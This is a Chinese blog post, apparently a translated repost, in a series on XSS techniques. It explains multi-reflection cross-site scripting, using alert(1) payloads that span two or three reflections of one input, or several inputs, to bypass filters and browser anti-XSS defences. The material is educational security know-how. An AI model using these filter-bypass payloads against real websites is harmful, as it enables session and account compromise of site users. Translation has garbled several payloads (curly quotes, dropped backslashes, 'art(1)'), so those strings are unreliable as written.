【XSS技巧拓展】————23、多反射型XSS

通常在网站中查找XSS时,我们会看到源代码中输入的不止一个反射,这对于绕过几种类型的过滤器非常有用。让我们从一个非常简单的方法开始,了解我们可以使用相同的有效负载进行多少次反射:

<svg onload = write(1) >

示例:Example: French Wikipedia Website => 11111111 (8 times).

为了在基于标记的注入中使用这些事件,我们有以下内容(使用输入和结果解析向量):

双反射 - 单输入

1)p ='onload = alert(1)> <svg / 1 ='

第一次反射的<svg / 1 ='部分将启动标记并打开一个假属性,直到它找到另一个单引号来关闭它,在第二次反射中,使用'onload = alert(1)>。当然,在两次出现之间不能有单引号(通常源的纯HTML部分仅使用双引号)。

'onload = alert(1)> <svg / 1 ='

...... [代码] ......

'onload = alert(1)> <svg / 1 ='

双反射 - 单输入(基于脚本)

1)p ='> alert(1)</ script> <script / 1 ='
      或
2)p = * / alert(1)</ script> <script> / *

这对于使用脚本标记的注入是有效的,但为了避免等号,我们有一个额外的结构,使用javascript注释。不幸的是,当两个反射之间存在本机脚本块时,这不起作用,因为本机</ script>会破坏我们的连接。

* / alert(1)</ script> <script> / *

...... [代码] ......

* / alert(1)</ script> <script> / *

三重反射 - 单输入

1)p = * / alert(1)“>'onload =”/ * <svg / 1 ='
      或
2)p =`-alert(1)“>'onload =”`<svg / 1 ='

三重反射更复杂,因为在源代码中这3个部分之间具有正确的条件需要一点点运气。此外,我们必须依赖新引入的反引号(`)来在javascript中进行字符串分隔,这在某些情况下可能会出现问题。

`-alert(1)“>'onload =”` <svg / 1 ='

...... [代码] ......

`-alert(1)“> 'onload =”` <svg / 1 ='

...... [代码] ......

`-alert(1)“> 'onload =”`<svg / 1 ='

三重反射 - 单输入(基于脚本)

1)p = * / </ script>'> alert(1)/ * <script / 1 ='

也很复杂,因为我们有一个现有</ script>破坏我们语法的双重可能性,虽然我们不必处理双引号的可能性(通常在源代码中的任何地方)像前一种情况一样打破我们的注入。

* / </ script>'> alert(1)/ * <script / 1 ='

...... [代码] ......

* / </ script> '> alert(1)/ * <script / 1 ='

...... [代码] ......

* / </ script> '> alert(1)/ * <script / 1 ='

多重反射 - 多输入

我们也可能通过2,3或更多不同的输入出现反射。这是最好的方案,甚至可以绕过主要浏览器的反XSS解决方案。

2输入:

P = <SVG / 1 = '&Q =' 的onload =警报(1)>

3输入:

p = <svg 1 ='&q ='onload ='/ *&r = * / alert(1)'>

Javascript代码中的多重反射

通常,当我们直接在javascript代码片段中进行反射时,利用非常简单并且不需要使用另一个反射。

然而,至少有一种情况可能有用。

请使用以下单行代码:

var n = {a:“$ p”,b:“$ p”};
(双反射,单输入$ p)

var n = {a:“$ p”,b:“$ q”};
(双反射,双输入$ p和$ q)

即使正确编码或转义双引号以及小于符号(以防止使用</ script>打破javascript块),也可以利用这两个示例:

INPUT
p = -alert(1)} //

RESULT *
var n = {a:“ - - art(1)} // ”,b: “ - alert(1)} // ”};

INPUT
p = &q = -alert(1)//

结果*
var n = {a:“ ”,b: “ - alert(1)} // ”};

* blue是“a”的值,red是“out-value”区域。

看到它在这里工作。

反斜杠()转义用于关闭第一个命名值“a”的双引号,然后该值将仅在下一个双引号上结束,第二个引号是第二个命名值“b”。以这种方式,应该是一个值,实际上成为要执行的代码(“alert(1)”),连接到命名值“a”。最后,为了避免语法错误,我们用“}”关闭变量“n”并注释其余的本机代码。

还有混合的情况,在单个或多个输入的同时在HTML和javascript内部发生反射。在我的私人推特账号@brutalsecrets中,有一个关于最后一种利用的奇怪案例,这可能是撤销和警报弹出之间的区别。

#hack2learn

总会有不期而遇的温暖. 和生生不息的希望。
原文地址:https://www.cnblogs.com/devi1/p/13486392.html